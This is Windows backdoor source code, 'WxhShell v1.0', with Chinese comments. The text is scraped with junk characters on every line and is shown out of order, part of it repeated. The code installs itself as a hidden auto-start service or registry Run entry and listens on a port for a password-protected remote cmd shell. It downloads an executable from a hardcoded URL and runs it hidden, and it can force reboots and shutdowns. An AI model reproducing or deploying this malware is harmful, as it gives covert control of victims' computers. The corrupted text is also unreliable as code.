    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r+;C}[E  
    if(Boot(SHUTDOWN)) M"K$81  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {W }.z  
    else { Um\Nd#=:  
    closesocket(wsh);  `-4c}T  
    ExitThread(0); qyc:;3?wm  
    } A~-e?.  
    break; f& (u[W  
    } b^PYA_k-Xn  
  // 获取shell .F.4fk  
  case 's': { _{,e-_hYM  
    CmdShell(wsh); MyuFZ7Q4$  
    closesocket(wsh); mY.[AIB  
    ExitThread(0); sRo%=7Z  
    break; [S":~3^B6  
  } >E?626*  
  // 退出 DJrE[wI  
  case 'x': { <!&nyuSz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PBr-< J  
    CloseIt(wsh); kAf:_0?6  
    break; PP&AF?C  
    } GFx >xQk  
  // 离开 &^1DNpUZ  
  case 'q': { ~LHG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qm,|'y:Tg  
    closesocket(wsh); Rs8`M8(4%  
    WSACleanup(); D(}v`q{Y  
    exit(1); npz*4\4  
    break; suaTXKjyk+  
        } W*-+j*e|_P  
  } _=j0Y=/IF  
  } bR49(K$~  
^Ebaq`{V\'  
  // 提示信息 x!MYIaZ7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); of8/~VO  
} UBi0 /  
  } +|Xx=1_?BK  
%`HAg MgP  
  return; }9>W41  
} pF#nj`L  
'(kGc%  
// shell模块句柄 >mT2g  
int CmdShell(SOCKET sock) >!wX% QHH  
{ &K)c*' l  
STARTUPINFO si; {Rjj  
ZeroMemory(&si,sizeof(si)); s{KwO+UW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6I72;e ^!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4'?kyTO~  
PROCESS_INFORMATION ProcessInfo; Fc7mAV=  
char cmdline[]="cmd"; pb}QP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e!ar:>T  
  return 0; vz,l{0 v  
} .'p_j(uv  
+l2{EiQw  
// 自身启动模式 1>4'YMdZi  
int StartFromService(void) S!2M?}LU  
{ *xM4nUu<~  
typedef struct yu<sd}@  
{ %ztCcgu*  
  DWORD ExitStatus; JpD<2Mz_|V  
  DWORD PebBaseAddress; lz faW-nu  
  DWORD AffinityMask; zOCru2/  
  DWORD BasePriority; -JaC~v(0  
  ULONG UniqueProcessId; tV@!jaj\  
  ULONG InheritedFromUniqueProcessId; 7 \!t/<  
}   PROCESS_BASIC_INFORMATION; C* b!E:  
zy8W8h(?  
PROCNTQSIP NtQueryInformationProcess; +I5@Gys  
eL#pS=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }9aYU;9D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y!."FoQ  
5"c#O U  
  HANDLE             hProcess; :U0z;  
  PROCESS_BASIC_INFORMATION pbi; eFp4MD8?  
41^+T<+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7<mY{!2iF?  
  if(NULL == hInst ) return 0; =\ iV=1iB  
"D2 `=D!+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Aj;Z &  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !TVlsm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `Ou\:Iz0u  
zdzTJiY2[Z  
  if (!NtQueryInformationProcess) return 0; 4H]Go~<  
Im+<oZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TPt<(-}W  
  if(!hProcess) return 0; /^G1wz2  
6OF&Q`*4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ib0M$Y1tIS  
- {>JF  
  CloseHandle(hProcess); u= 5&e)v3  
<6)Ogv",  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &#F>%~<or  
if(hProcess==NULL) return 0; * h!gjbi  
{PnvQ?|Z  
HMODULE hMod; S2kFdx*Zf  
char procName[255]; 7MZBU~,r  
unsigned long cbNeeded; &{]zL  
(q59cAw~X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y9{KBM%h  
?"N, do  
  CloseHandle(hProcess); oa?bOm  
Fc M  
if(strstr(procName,"services")) return 1; // 以服务启动 IC{\iwO/~c  
U}~SY  
  return 0; // 注册表启动 z8G1[ElY  
} NGOc:>}k>  
o|*ao2a  
// 主模块 l<>syHCH;L  
int StartWxhshell(LPSTR lpCmdLine) [`BMi-WQ  
{ +)h*)  
  SOCKET wsl; CH[U.LJQ-O  
BOOL val=TRUE; )q 8w+'z  
  int port=0; 'X d_8.  
  struct sockaddr_in door; s {p-cV  
W,9. z%  
  if(wscfg.ws_autoins) Install(); $l@nk@  
e;GLPB   
port=atoi(lpCmdLine); RZ-=UIf  
SU~t7Ta!G  
if(port<=0) port=wscfg.ws_port; P$ZIKkf  
!K-lO{Z^  
  WSADATA data; wmAZ {  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  $A]2Iw!&  
18f!k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l\xcR]O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hO w  
  door.sin_family = AF_INET; S.pL^Ru  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q1yMI8  
  door.sin_port = htons(port); AE?MEag  
2#1"(m{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ri=:=oF(  
closesocket(wsl); 8yij=T*  
return 1; ebK/cPa8  
} OC34@YUj[  
(KtuikJ32^  
  if(listen(wsl,2) == INVALID_SOCKET) { 2fFZ70Yh  
closesocket(wsl); n}/?nP\%  
return 1; }'L7<_  
} E}LuWFZ&  
  Wxhshell(wsl); 6<X.]"u+E~  
  WSACleanup(); _<s[HGA`z  
un([3r  
return 0; a9]F.Jm  
s.7\?(Lg  
} ecaEWIOG  
 mo+zq~,M  
// 以NT服务方式启动 v|fA)W w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;,2i1m0"  
{ v;m`d{(i2  
DWORD   status = 0; o81RD#>E)  
  DWORD   specificError = 0xfffffff; 6a6;]lsG  
sdN@ZP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cCx@VT`0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +yYxHIOZ(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OH.^m6Z  
  serviceStatus.dwWin32ExitCode     = 0; 9 Rl-Jz8g  
  serviceStatus.dwServiceSpecificExitCode = 0; B=14 hY@`  
  serviceStatus.dwCheckPoint       = 0; T'_#Dwmj*  
  serviceStatus.dwWaitHint       = 0; =h5&:?X  
g~E N3~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7X 4/6]*  
  if (hServiceStatusHandle==0) return; [A~n=m5H  
k{\wjaf)  
status = GetLastError(); DwSB(O#X  
  if (status!=NO_ERROR) DEJ0<pnQr  
{ p[oR4 HWr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <L'!EcHm%]  
    serviceStatus.dwCheckPoint       = 0; 4SRjF$Bsz  
    serviceStatus.dwWaitHint       = 0; eb1WTK@  
    serviceStatus.dwWin32ExitCode     = status; _G3L+St  
    serviceStatus.dwServiceSpecificExitCode = specificError; dpAj9CX(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qp>'V<%m-  
    return; )(b, v/:  
  } s/Ne,v  
>-8r|};+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QIl=Ho"c  
  serviceStatus.dwCheckPoint       = 0; zplAH!s5''  
  serviceStatus.dwWaitHint       = 0; =u\W {1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WxPu{N  
} m q#8 [D  
*<r\:g  
// 处理NT服务事件,比如:启动、停止 <&w(%<;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WO;2=[#O;  
{ lU?8<X  
switch(fdwControl) /Ne;Kdp  
{ `U4e]Qh/+  
case SERVICE_CONTROL_STOP: {7d(B1[1  
  serviceStatus.dwWin32ExitCode = 0; <S[]VXy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +az=EF  
  serviceStatus.dwCheckPoint   = 0; z`]sWi F0  
  serviceStatus.dwWaitHint     = 0; QC\r|RXW  
  { #su R[K*S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,:[\h\5m  
  } 0G; b+  
  return; gvzBV +3'  
case SERVICE_CONTROL_PAUSE: vw~=z6Ka  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ eNKu  
  break; |)KOy~"  
case SERVICE_CONTROL_CONTINUE: V2B@Lq"9`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kB#;s  
  break; %*bGW'Cw  
case SERVICE_CONTROL_INTERROGATE: TmviYP gb  
  break; m!Y4+KTwD`  
}; 3A&: c/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xg(* j[ff3  
} op8[8pt%  
E;1QD/E$  
// 标准应用程序主函数 m>FP&~2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4De2m iq  
{ xaN[ru@  
 K P@bz  
// 获取操作系统版本 %2@O,uCo@  
OsIsNt=GetOsVer(); c)`=wDi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F[q)ME+`)  
N({0"7  
  // 从命令行安装 BbIg]E/G  
  if(strpbrk(lpCmdLine,"iI")) Install(); `; +UWdAR  
"?AJ(>wP  
  // 下载执行文件 U{,:-R  
if(wscfg.ws_downexe) { 4s@oj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ptQCqQ1_d  
  WinExec(wscfg.ws_filenam,SW_HIDE); #1)#W6 h\  
} 4`Ib wg6"B  
V=d~}PJ>  
if(!OsIsNt) { `G'Z,P-a  
// 如果时win9x,隐藏进程并且设置为注册表启动 A)9F_;BY  
HideProc(); `g+Kv&546  
StartWxhshell(lpCmdLine); rtxG-a56Q  
} 2F&VG|"  
else 9Zj9e  
  if(StartFromService()) jp+s[rRc\{  
  // 以服务方式启动 L#k`>Qn2  
  StartServiceCtrlDispatcher(DispatchTable); ]q`'l_O  
else g0-~ %A,  
  // 普通方式启动 <Z j>}  
  StartWxhshell(lpCmdLine); w# R0QF  
GT 5J`  
return 0; b3.}m[]  
} ?Gnx!3Q  
i'YM9*yN  
+/>XOY|Ie  
P>nz8NRq  
=========================================== 'T+v&M  
nPR*mbW  
cI\&&<>SlG  
Oil~QAd,  
oiRrpS\T.  
QTIC5cl,  
" ,a34=,  
"1wjh=@z  
#include <stdio.h> .b|!FWHNS  
#include <string.h> fR&x5Ika0  
#include <windows.h> X1XmaO% A  
#include <winsock2.h> ">FuCvQ  
#include <winsvc.h> qFE(H1hy  
#include <urlmon.h> Mi<l;ZP  
06]%$ -j  
#pragma comment (lib, "Ws2_32.lib") exxH0^  
#pragma comment (lib, "urlmon.lib") &BxZ}JH=k  
?_`X8Ok  
#define MAX_USER   100 // 最大客户端连接数 duV\Kt/g^  
#define BUF_SOCK   200 // sock buffer 4?33t] "  
#define KEY_BUFF   255 // 输入 buffer HSj=g}r  
DQ.;2W  
#define REBOOT     0   // 重启 z P8rW5/  
#define SHUTDOWN   1   // 关机 q uL+UFuM  
7r{159&=  
#define DEF_PORT   5000 // 监听端口 }B`T%(11=  
!B/5@P  
#define REG_LEN     16   // 注册表键长度 MLvd6tIv,  
#define SVC_LEN     80   // NT服务名长度 kYZj^tR  
+>QD4z#  
// 从dll定义API )}to7r7 `  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9P& \2/ {  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 63SmQsv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !BDJU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R*O<(  
PUEEfq!%  
// wxhshell配置信息 4Z0Y8y8)  
struct WSCFG { wCt!.<, .  
  int ws_port;         // 监听端口 'M35L30  
  char ws_passstr[REG_LEN]; // 口令 06NW2A%wv  
  int ws_autoins;       // 安装标记, 1=yes 0=no aL|a2+P[`q  
  char ws_regname[REG_LEN]; // 注册表键名 D+xPd<  
  char ws_svcname[REG_LEN]; // 服务名 }k0B   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bScW<DZJ-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /s Bs eI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zvkb=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \:jJ{bl^A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LMaY}m>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MDauHtF,  
h\/T b8  
}; AP9>_0=  
1T 8|>2m 3  
// default Wxhshell configuration "?>hQM1R  
struct WSCFG wscfg={DEF_PORT, 'MQJt2QU9{  
    "xuhuanlingzhe", *6wt+twH  
    1, 5Ve T8/7Q  
    "Wxhshell", E*s8 nQ"  
    "Wxhshell", c,Yd#nokC  
            "WxhShell Service", jm0v=m7  
    "Wrsky Windows CmdShell Service", @a}\]REn  
    "Please Input Your Password: ", ;<H\{w@D  
  1, ki ?ETC  
  "http://www.wrsky.com/wxhshell.exe", 9+!"[  
  "Wxhshell.exe" u}|+p+  
    }; BM[jF=0  
o)+Uyl   
// 消息定义模块 Q tl!f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'RpX&g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y eWB.M~X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  zt2#6v  
char *msg_ws_ext="\n\rExit."; H{g&yo  
char *msg_ws_end="\n\rQuit."; cd.|>  
char *msg_ws_boot="\n\rReboot..."; 6Ao{Aej|  
char *msg_ws_poff="\n\rShutdown..."; T7Qw1k  
char *msg_ws_down="\n\rSave to "; LLPbZ9q  
HFW8x9Cc  
char *msg_ws_err="\n\rErr!"; v5 I}a7  
char *msg_ws_ok="\n\rOK!"; P( 1Z  
;v m$F251  
char ExeFile[MAX_PATH]; [&+5E1%L  
int nUser = 0; S8Yti  
HANDLE handles[MAX_USER]; M,g$  
int OsIsNt; EttQ<z_T  
; mwU>l,4  
SERVICE_STATUS       serviceStatus; -J^t#R^$`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (3N;-   
LfX[(FP  
// 函数声明 >#|%y>g .o  
int Install(void); P vW~EJ  
int Uninstall(void); cm`x;[e6l  
int DownloadFile(char *sURL, SOCKET wsh); F!cRx%R  
int Boot(int flag); &6^QFqqW`-  
void HideProc(void); /^':5"=o  
int GetOsVer(void); %Wa. 2s  
int Wxhshell(SOCKET wsl); _$m1?DZ  
void TalkWithClient(void *cs); `|e3OCU  
int CmdShell(SOCKET sock); u .,l_D_  
int StartFromService(void); I5#zo,9  
int StartWxhshell(LPSTR lpCmdLine); NU%<Ws=  
hIFfvUl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 94xWMX2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]SG(YrF  
`:kI@TPI_C  
// 数据结构和表定义 HB9|AQ4K  
SERVICE_TABLE_ENTRY DispatchTable[] = CDT3&N1'R  
{ 2py [P  
{wscfg.ws_svcname, NTServiceMain}, }\]J?I+A  
{NULL, NULL} F~x>\?iN  
}; c3C<P  
MXrh[QCU)  
// 自我安装 7 |Q;E|=-Y  
int Install(void) >=d%t6 %(  
{ *d&+? !  
  char svExeFile[MAX_PATH]; 8}{W.np_  
  HKEY key; l g*eSx>M  
  strcpy(svExeFile,ExeFile); aS&,$sR  
m[D]4h9  
// 如果是win9x系统,修改注册表设为自启动 >tTu1#t  
if(!OsIsNt) { >.r> aH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x"{WLZ   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O_^t u?x  
  RegCloseKey(key); _qsg2e}n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ':DLv{R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p>= b|Qy|  
  RegCloseKey(key); 9;tY'32/  
  return 0; {v U;(eN  
    } e<r}{=1w  
  } T[eb<  
} !EB[Lut m  
else { #9(L/)^  
ev9ltl{  
// 如果是NT以上系统,安装为系统服务 @<C<rB8R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p #Y2v  
if (schSCManager!=0) abkt&981K+  
{ }S6"$R  
  SC_HANDLE schService = CreateService &z?:s  
  ( rixt_}aE  
  schSCManager, @h!nVf%fe  
  wscfg.ws_svcname, /7hC /!@  
  wscfg.ws_svcdisp, 5?XIp6%x  
  SERVICE_ALL_ACCESS, o>Q=V 0?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OtZc;c  
  SERVICE_AUTO_START, ;ji[ "b  
  SERVICE_ERROR_NORMAL, PiF&0;  
  svExeFile, agj_l}=gO  
  NULL, UzT"Rb:e  
  NULL, eKW^\  
  NULL, "RLv{D<)J,  
  NULL, $n* wS,  
  NULL 10{zF_9yx  
  ); )=%TIkeF  
  if (schService!=0) ##BfI`FJ  
  { _7b' i6-  
  CloseServiceHandle(schService); Q<T+t0G\O-  
  CloseServiceHandle(schSCManager); Uq^-km#a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L'r gCOJ<  
  strcat(svExeFile,wscfg.ws_svcname); UB,:won  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a}[ 1*_G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @k3xk1*  
  RegCloseKey(key); ^n9)rsb  
  return 0; 90UZ\{">  
    } T1i}D"H %  
  } :EV*8{:aLU  
  CloseServiceHandle(schSCManager); <CGABlZ  
} n>W*y|UJ  
} 4x"9Wr=}  
 &sg~owz  
return 1; _ls i,kg?  
} f]48>LRE8  
PdSYFJM  
// 自我卸载 Z \>mAtm  
int Uninstall(void) ?<STl-]&  
{ SYwB #|  
  HKEY key; GL'l "L  
Z~v-@  
if(!OsIsNt) { jW;g{5X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <3!Q Xc  
  RegDeleteValue(key,wscfg.ws_regname); tO+Lf2Ni+  
  RegCloseKey(key); ].HHTCD`c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { maOt/-  
  RegDeleteValue(key,wscfg.ws_regname); T_Cj=>L  
  RegCloseKey(key); +{L=cWA"  
  return 0; SSysOeD+  
  } U o[\1)  
} ZK5 wZU  
} #D-Ttla  
else { "wnN 0 p  
^=[b]*V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'nN'bVl/  
if (schSCManager!=0) ;S+]Z!5LT  
{ x&*2R#Ai  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HwZ"l31  
  if (schService!=0) +'{d^-( (  
  { v \dP  
  if(DeleteService(schService)!=0) { V,&A? Y  
  CloseServiceHandle(schService); qh#?a'  
  CloseServiceHandle(schSCManager); RX?y}BDo0  
  return 0; G_S2Q @|Q  
  } 2Z+:^5  
  CloseServiceHandle(schService); < Wm'V-  
  } *;[g Ga~  
  CloseServiceHandle(schSCManager); (O"-6`w[  
} ^NXxMC( e+  
} ]h%~'8g,  
+;bP.[Z  
return 1; B3&C=*y  
} {ep.So6  
)4^Sz&\  
// 从指定url下载文件 S`pBEM  
int DownloadFile(char *sURL, SOCKET wsh) C_;A~iI7  
{ dfT  
  HRESULT hr; /a }` y  
char seps[]= "/"; K)W:@,*  
char *token; ZKt`>KZ  
char *file; Yht |^ =a  
char myURL[MAX_PATH]; :gTtWJ04]  
char myFILE[MAX_PATH]; `X%Qt ~  
@t2S"s$m  
strcpy(myURL,sURL); _K3;$2d|R  
  token=strtok(myURL,seps); GTke<R  
  while(token!=NULL) #=,c8" O  
  { 3jjV bm  
    file=token; sB wzb  
  token=strtok(NULL,seps); .4[M7)  
  } D[dI_|59a  
B7( bNr  
GetCurrentDirectory(MAX_PATH,myFILE);  =@! s[  
strcat(myFILE, "\\"); ,j(S'Pw  
strcat(myFILE, file); T 3 <2ds  
  send(wsh,myFILE,strlen(myFILE),0); ;s?,QvE{r#  
send(wsh,"...",3,0); tHV+#3h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f&!{o=  
  if(hr==S_OK) ,"5][RsOn  
return 0; RMlx[nsq  
else LwcAF g|  
return 1; E|y  
h-6x! 6pm  
} v+C%t!dx  
;%Kh~  
// 系统电源模块 ;]>a7o  
int Boot(int flag) 7M<co,"  
{ C(n_*8{  
  HANDLE hToken; cUr5x8<W).  
  TOKEN_PRIVILEGES tkp; rPK1#  
<xUX&J=;  
  if(OsIsNt) { NIG* }[}P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L[tq@[(IJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lX64IvG8+o  
    tkp.PrivilegeCount = 1; `#?]g!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EN5F*s@r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g\pLQH  
if(flag==REBOOT) { }pKKNZ`[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R%6KxN)+@  
  return 0; GHpP *x  
} 6|QIzs<Z-X  
else { AbIYdFXB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cy6%f?j  
  return 0; %7 $X *  
} j%i6H1#.Z  
  } 9JJk\,  
  else { ?hKpJA'%  
if(flag==REBOOT) { ^*b11 /7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0~BZh%s< (  
  return 0; A().1h1_k  
} B z? (?fyd  
else { [JKLlR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @PV3G KJ  
  return 0; @s0mX3P  
} ^e--4B9|  
} %[on.Q'1]2  
iN1_ T  
return 1; _Uhl4Mh  
} rC6@ ]  
L,sFwOWY  
// win9x进程隐藏模块 !-4VGt&c,  
void HideProc(void) o @nsv&i  
{ @4Lol2  
,Bl_6ZaL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;0-R"c)-  
  if ( hKernel != NULL ) {dwlW`{  
  { n( zzH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]{18-=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Esf\Bo"  
    FreeLibrary(hKernel); T=':$(t  
  } (#nB90E{*  
`!<#'PR  
return; nZ[`Yrq)0  
} 4xgfm.9I^  
vw :&c.zd  
// 获取操作系统版本 !ezy  v`  
int GetOsVer(void) VyWzb  
{ n$<n Yr`X  
  OSVERSIONINFO winfo; 6foiN W+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {Gw{W&<  
  GetVersionEx(&winfo); t(UdV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 04:QEC"9mj  
  return 1; uG(XbDZZ1W  
  else EPU3Jban  
  return 0; [0lO0ik>G  
} .:=5|0m  
rN'}IS@5  
// 客户端句柄模块 \{= {{O  
int Wxhshell(SOCKET wsl) fa!8+kfi  
{ >^D5D%"  
  SOCKET wsh; FY pspv?4  
  struct sockaddr_in client; V^_U=Ed@M  
  DWORD myID; #lF 2q w  
WTu!/J<\  
  while(nUser<MAX_USER) dte-2?%~j  
{ f |NXibmP  
  int nSize=sizeof(client); ,,G'Zur7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s3=sl WY=  
  if(wsh==INVALID_SOCKET) return 1; r ?z}TtDp  
S7b7zJ8A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XV1XzG#C  
if(handles[nUser]==0) `Dp4Z>| K  
  closesocket(wsh); .>p.k*vU  
else R#!Urhh  
  nUser++; 7,Y+FZ  
  } 7V&ly{</  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); luJNdA:t&  
T$Z}1e]  
  return 0; G)&!f)6  
} _po5j;"_O  
63kZ#5g(Dw  
// 关闭 socket TjOK8 t  
void CloseIt(SOCKET wsh) rq:sy=;  
{ `:Zgq+j&  
closesocket(wsh); 3|D.r-Q  
nUser--; Pb<6-Jc[  
ExitThread(0); on 4 $n7  
} 6E9o*YSk  
a0 's6C  
// 客户端请求句柄 4)Ew rU  
void TalkWithClient(void *cs) q oEZ>  
{ "8E=*2fcw  
=.qPjp_Qd  
  SOCKET wsh=(SOCKET)cs; G$2Pny<!  
  char pwd[SVC_LEN]; 9/{ 8Y&  
  char cmd[KEY_BUFF]; ,_ @) IN  
char chr[1]; Uurpho_~  
int i,j; h{^MdYJ  
"g5MltH  
  while (nUser < MAX_USER) { NT{ 'BJ  
zKThM#.Wa  
if(wscfg.ws_passstr) { #)4p ,H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S~M/!Xb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ps*iE=D  
  //ZeroMemory(pwd,KEY_BUFF); umt(e:3f5  
      i=0; -/_hO$|W  
  while(i<SVC_LEN) { le6eorK8  
0Z{u;FI  
  // 设置超时 #4V->I  
  fd_set FdRead; d}wE4(]b  
  struct timeval TimeOut; EjP)e;  
  FD_ZERO(&FdRead); .2y @@g  
  FD_SET(wsh,&FdRead); 9H2mA$2jnE  
  TimeOut.tv_sec=8; E,QD6<?[  
  TimeOut.tv_usec=0; AR c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %!R\-Vej  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); % -.V6}V  
_~;K]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -i]2 b  
  pwd=chr[0]; ? 8)k6:  
  if(chr[0]==0xd || chr[0]==0xa) { uM9Gj@_  
  pwd=0; [K1z/ea)V  
  break; /a s+ TU`A  
  } _5o5/@  
  i++; TJ|do`fw>  
    } {x~r$")c?  
xu >grj  
  // 如果是非法用户,关闭 socket rr2^sQ;_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RY\ 0dv>  
}  {IT xHt  
f]2;s#cu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |#Q0UM|'Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~|ha9 1  
1w+)ne_&  
while(1) { gFXz:!A  
31N5dIi,  
  ZeroMemory(cmd,KEY_BUFF); fn8|@)J  
Q)5V3Q]@^  
      // 自动支持客户端 telnet标准   4}0Ry\ 6  
  j=0; ^~s!*T)\  
  while(j<KEY_BUFF) { 6 kD.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NleMZ  
  cmd[j]=chr[0]; 9 $^b^It  
  if(chr[0]==0xa || chr[0]==0xd) { eL [.;_  
  cmd[j]=0; $)6x3&]P  
  break; 7_J0[C!G  
  } }/jWa |)f  
  j++; mNJCV8 <  
    } 6UU<:KH  
0JW =RW  
  // 下载文件 u.}H)wt  
  if(strstr(cmd,"http://")) { <(1[n pS&+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (Mw+SM3<  
  if(DownloadFile(cmd,wsh)) !1l~'/r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I(b]V!mj:  
  else NzS`s,N4/0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3il$V78|  
  } x#hSN|'"  
  else { [J55%N;#1  
/Eu|Jg=I  
